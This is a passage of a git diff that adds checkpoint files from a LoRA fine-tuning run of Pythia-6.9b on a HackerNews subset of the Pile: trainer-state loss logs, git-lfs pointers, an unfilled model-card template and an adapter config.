2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.3619085550308228, + "learning_rate": 5.511111111111112e-05, + "loss": 2.2909, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5878307819366455, + "eval_runtime": 43.8203, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4916982650756836, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2501, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.589785575866699, + "eval_runtime": 43.79, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.855, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.5191502571105957, + "learning_rate": 5.274074074074074e-05, + "loss": 2.2045, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.606522798538208, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.8370033502578735, + "learning_rate": 5.155555555555556e-05, + "loss": 2.1299, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.6736056804656982, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 1.8626277446746826, + "learning_rate": 5.037037037037037e-05, + "loss": 2.0745, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6694393157958984, + "eval_runtime": 43.7698, + "eval_samples_per_second": 22.847, + "eval_steps_per_second": 2.856, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9536994695663452, + "learning_rate": 4.918518518518519e-05, + "loss": 2.1134, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6763100624084473, + "eval_runtime": 43.7663, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.7951068878173828, + "learning_rate": 4.8e-05, + "loss": 2.0425, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6728081703186035, + "eval_runtime": 43.7651, + "eval_samples_per_second": 22.849, + "eval_steps_per_second": 2.856, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.907662272453308, + "learning_rate": 4.681481481481481e-05, + "loss": 2.0904, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6812336444854736, + "eval_runtime": 43.8021, + "eval_samples_per_second": 22.83, + "eval_steps_per_second": 2.854, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9190585613250732, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.1202, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.6716649532318115, + "eval_runtime": 43.7878, + "eval_samples_per_second": 22.837, + "eval_steps_per_second": 2.855, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 2.1457583904266357, + "learning_rate": 4.444444444444445e-05, + "loss": 2.1332, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.677353620529175, + "eval_runtime": 43.7789, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.461280345916748, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.9693, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.7750632762908936, + "eval_runtime": 43.8409, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.8510210514068604, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.9194, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.771688938140869, + "eval_runtime": 43.8403, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.5339622497558594, + "learning_rate": 4.088888888888889e-05, + "loss": 1.9162, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.7754197120666504, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.622448444366455, + "learning_rate": 3.970370370370371e-05, + "loss": 1.9598, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.771843671798706, + "eval_runtime": 43.8243, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.728793144226074, + "learning_rate": 3.851851851851852e-05, + "loss": 1.9611, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7712514400482178, + "eval_runtime": 43.8133, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.583333969116211, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9595, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7676312923431396, + "eval_runtime": 43.8113, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.4886419773101807, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9681, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.763570547103882, + "eval_runtime": 43.8166, + "eval_samples_per_second": 22.822, + "eval_steps_per_second": 2.853, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.656954526901245, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.864, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.811014175415039, + "eval_runtime": 43.831, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.2936909198760986, + "learning_rate": 3.377777777777778e-05, + "loss": 1.8078, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.8777899742126465, + "eval_runtime": 43.8033, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.134007692337036, + "learning_rate": 3.259259259259259e-05, + "loss": 1.8207, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.8566880226135254, + "eval_runtime": 43.8138, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0055992603302, + "learning_rate": 3.140740740740741e-05, + "loss": 1.8202, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.8746020793914795, + "eval_runtime": 43.821, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.853, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 3.008761405944824, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.854, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.856834888458252, + "eval_runtime": 43.8079, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.0921030044555664, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8381, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.8608105182647705, + "eval_runtime": 43.8102, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.2031877040863037, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8526, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.8591396808624268, + "eval_runtime": 43.8197, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 3.2067291736602783, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.8094, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.8479180335998535, + "eval_runtime": 43.8043, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.353001117706299, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.685, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.942011833190918, + "eval_runtime": 43.8062, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 3.2993152141571045, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.7213, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.9439539909362793, + "eval_runtime": 43.8327, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.5732359886169434, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.7484, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.9356353282928467, + "eval_runtime": 43.7981, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 5.271646976470947, + "learning_rate": 2.192592592592593e-05, + "loss": 1.7342, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.955838441848755, + "eval_runtime": 43.8068, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.853, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 5.032471656799316, + "learning_rate": 2.074074074074074e-05, + "loss": 1.7208, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.931419849395752, + "eval_runtime": 43.8221, + "eval_samples_per_second": 22.82, + "eval_steps_per_second": 2.852, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.4340333938598633, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7117, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.938490629196167, + "eval_runtime": 43.8201, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.5259785652160645, + "learning_rate": 1.837037037037037e-05, + "loss": 1.7309, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.941317319869995, + "eval_runtime": 43.8308, + "eval_samples_per_second": 22.815, + "eval_steps_per_second": 2.852, + "step": 520 + }, + { + "epoch": 7.066666666666666, + "grad_norm": 3.4281272888183594, + "learning_rate": 1.7185185185185185e-05, + "loss": 1.6833, + "step": 530 + }, + { + "epoch": 7.066666666666666, + "eval_loss": 2.9625537395477295, + "eval_runtime": 43.8337, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 530 + }, + { + "epoch": 7.2, + "grad_norm": 3.9920337200164795, + "learning_rate": 1.6000000000000003e-05, + "loss": 1.6104, + "step": 540 + }, + { + "epoch": 7.2, + "eval_loss": 3.0229849815368652, + "eval_runtime": 43.8532, + "eval_samples_per_second": 22.803, + "eval_steps_per_second": 2.85, + "step": 540 + }, + { + "epoch": 7.333333333333333, + "grad_norm": 3.6704397201538086, + "learning_rate": 1.4814814814814815e-05, + "loss": 1.6429, + "step": 550 + }, + { + "epoch": 7.333333333333333, + "eval_loss": 3.0016684532165527, + "eval_runtime": 43.8408, + "eval_samples_per_second": 22.81, + "eval_steps_per_second": 2.851, + "step": 550 + }, + { + "epoch": 7.466666666666667, + "grad_norm": 4.2405171394348145, + "learning_rate": 1.362962962962963e-05, + "loss": 1.6654, + "step": 560 + }, + { + "epoch": 7.466666666666667, + "eval_loss": 3.0022153854370117, + "eval_runtime": 43.8437, + "eval_samples_per_second": 22.808, + "eval_steps_per_second": 2.851, + "step": 560 + }, + { + "epoch": 7.6, + "grad_norm": 4.28582763671875, + "learning_rate": 1.2444444444444446e-05, + "loss": 1.6451, + "step": 570 + }, + { + "epoch": 7.6, + "eval_loss": 3.00771164894104, + "eval_runtime": 43.837, + "eval_samples_per_second": 22.812, + "eval_steps_per_second": 2.851, + "step": 570 + }, + { + "epoch": 7.733333333333333, + "grad_norm": 3.8415298461914062, + "learning_rate": 1.125925925925926e-05, + "loss": 1.6865, + "step": 580 + }, + { + "epoch": 7.733333333333333, + "eval_loss": 3.0041346549987793, + "eval_runtime": 43.8069, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 580 + }, + { + "epoch": 7.866666666666667, + "grad_norm": 4.042088508605957, + "learning_rate": 1.0074074074074074e-05, + "loss": 1.5963, + "step": 590 + }, + { + "epoch": 7.866666666666667, + "eval_loss": 3.0001718997955322, + "eval_runtime": 43.8148, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 590 + }, + { + "epoch": 8.0, + "grad_norm": 3.8128297328948975, + "learning_rate": 8.888888888888888e-06, + "loss": 1.6552, + "step": 600 + }, + { + "epoch": 8.0, + "eval_loss": 2.9951343536376953, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 600 + }, + { + "epoch": 8.133333333333333, + "grad_norm": 4.028591156005859, + "learning_rate": 7.703703703703704e-06, + "loss": 1.5764, + "step": 610 + }, + { + "epoch": 8.133333333333333, + "eval_loss": 3.0296239852905273, + "eval_runtime": 43.8141, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 610 + }, + { + "epoch": 8.266666666666667, + "grad_norm": 4.286259651184082, + "learning_rate": 6.51851851851852e-06, + "loss": 1.589, + "step": 620 + }, + { + "epoch": 8.266666666666667, + "eval_loss": 3.055720806121826, + "eval_runtime": 43.803, + "eval_samples_per_second": 22.829, + "eval_steps_per_second": 2.854, + "step": 620 + }, + { + "epoch": 8.4, + "grad_norm": 3.8886613845825195, + "learning_rate": 5.333333333333334e-06, + "loss": 1.5475, + "step": 630 + }, + { + "epoch": 8.4, + "eval_loss": 3.0486762523651123, + "eval_runtime": 43.7998, + "eval_samples_per_second": 22.831, + "eval_steps_per_second": 2.854, + "step": 630 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.032322535129088e+17, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-630/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..7a493b232f0c7e772c11ecd62c5f5320d091219c --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:1b3301a2c3b2dcd6b8d45c0f044d7d0b38c6355991af2beb380fc4725345e19c +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..b98abd8e13c3797eaa711efb33480c294ec6051d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:87b72dd14d46142ee5d2c85571f022b8a9abe7e8e1955bc99024e94d5d5464af +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..bc02fa7e506af341c87e94bd62a6cbdfbd057096 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0597f3b9ac321e002676eb1712670348770197d9b197cdd7a7e16f465315444e +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..cc14f7545324288e67e156d036369e2cebdcf74f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dd2d3d121570090627f59257118b55358f83f1b060f0fb11ab062387addadff4 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..e49f165f20d3d2548760ccd44721a28ef022eff2 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-640/trainer_state.json @@ -0,0 +1,993 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 8.533333333333333, + "eval_steps": 10, + "global_step": 640, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + 